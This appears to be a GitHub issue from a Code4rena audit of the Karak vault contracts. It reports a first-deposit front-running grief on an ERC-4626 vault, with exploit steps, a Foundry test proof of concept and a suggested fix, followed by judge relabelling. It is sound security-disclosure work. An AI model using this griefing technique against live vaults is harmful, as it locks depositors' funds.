Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A vault's first deposit can be frontrunned to grief deposits below a treshold #3

Open
c4-bot-5 opened this issue Jul 22, 2024 · 5 comments
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-10 grade-b insufficient quality report This report is not of sufficient quality Q-15 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_24_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-bot-5
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/Vault.sol#L94

Vulnerability details

[M-01] A vault's first deposit can be frontrunned to grief deposits below a treshold

Since the Solady's implementation of ERC-4626 uses the balance of depositToken as the base to price shares, if the contract is initially sent some depositToken via direct transfer, each deposit after that which is below the transfer amount (price of each share) will get zero shares in return. Also note that this will worsen as more users deposit values below this threshold, as each deposit increases the 1 share price. Moreover, using the vault::deposit with expected share does not solve this issue either because the vault::convertToShares suffers from the same problem.

Impact

Deposits below a certain threshold will be lost and no share will be issued for them. This threshold will rise as more users fall for this, causing the vault to be unusable in the long term.

Proof of Concept

The proof is rather easy, just add the following test to the existing vault.t.sol file:
Here are the steps to exploit:

  1. User wants to deposit 1 ether via vault::deposit (initial deposit to this vault).
  2. This ether gets frontrunned or the malicious actor has already transferred 1.001 ether to the vault (a small value more than the initial deposit).
  3. User calls deposit but doesn't receive any shares, and the depositToken gets reduced from them.
  4. Now there is 2.001 deposit tokens in the contract, and any deposit below this will not give any shares to the depositor.
 function test_initial_deposit_griefed() public {
        // create user and mint user and frontrunner(address this) initial funds
        address user = makeAddr("user");
        uint256 amount = 10 ether;
        depositToken.mint(address(this), amount);
        depositToken.mint(user, amount);
        // approvals
        depositToken.approve(address(vault), amount);
        vm.prank(user);
        depositToken.approve(address(vault), amount);
        // frontrunner/griefer transfers 1.001 ether to grief first depositer

        depositToken.transfer(address(vault), 1.001 ether);
        // user intends to deposit 1 ether, using deposit with slippage control
        vm.startPrank(user);
        uint256 expectedShares = vault.convertToShares(1 ether);
        uint256 share = vault.deposit(1 ether, user, expectedShares);
        // both share and expeted shares are 0
        assertEq(share, 0);
        assertEq(expectedShares, 0);
        // token is locked forever in the contract
        assertEq(depositToken.balanceOf(address(vault)), 2.001 ether);
        assertEq(vault.balanceOf(user),0);
        // bigger deposits still work as intended.
        expectedShares = vault.convertToShares(2.002 ether);
        share = vault.deposit(2.002 ether, user, expectedShares);
        assertEq(expectedShares, share);
        assert(share == 1);
        expectedShares = vault.convertToShares(2.001 ether);
        share = vault.deposit(2.001 ether, user, expectedShares);
        assert(share != 0);
 }

Tools Used

Manual Review

Recommended Mitigation Steps

A quick fix would be adding an initial deposit to the vault::initialize function, or directly call deposit in the factory/Core contract. This will mint some initial shares for the operator and stop anyone from griefing the vaults.

Assessed type

Other

@c4-bot-5 c4-bot-5 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Jul 22, 2024
c4-bot-5 added a commit that referenced this issue Jul 22, 2024
@c4-bot-13 c4-bot-13 added the 🤖_24_group AI based duplicate group recommendation label Jul 30, 2024
@howlbot-integration howlbot-integration bot added the insufficient quality report This report is not of sufficient quality label Aug 1, 2024
@c4-judge c4-judge reopened this Aug 11, 2024
@c4-judge c4-judge added the primary issue Highest quality submission among a set of duplicates label Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck marked the issue as primary issue

@c4-judge c4-judge removed the primary issue Highest quality submission among a set of duplicates label Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck marked issue #10 as primary and marked this issue as a duplicate of 10

@c4-judge
Copy link
Contributor

MiloTruck marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck changed the severity to QA (Quality Assurance)

@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax grade-b and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Aug 11, 2024
@c4-judge
Copy link
Contributor

MiloTruck marked the issue as grade-b

@C4-Staff C4-Staff reopened this Aug 21, 2024
@C4-Staff C4-Staff added the Q-15 label Aug 21, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-10 grade-b insufficient quality report This report is not of sufficient quality Q-15 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_24_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

4 participants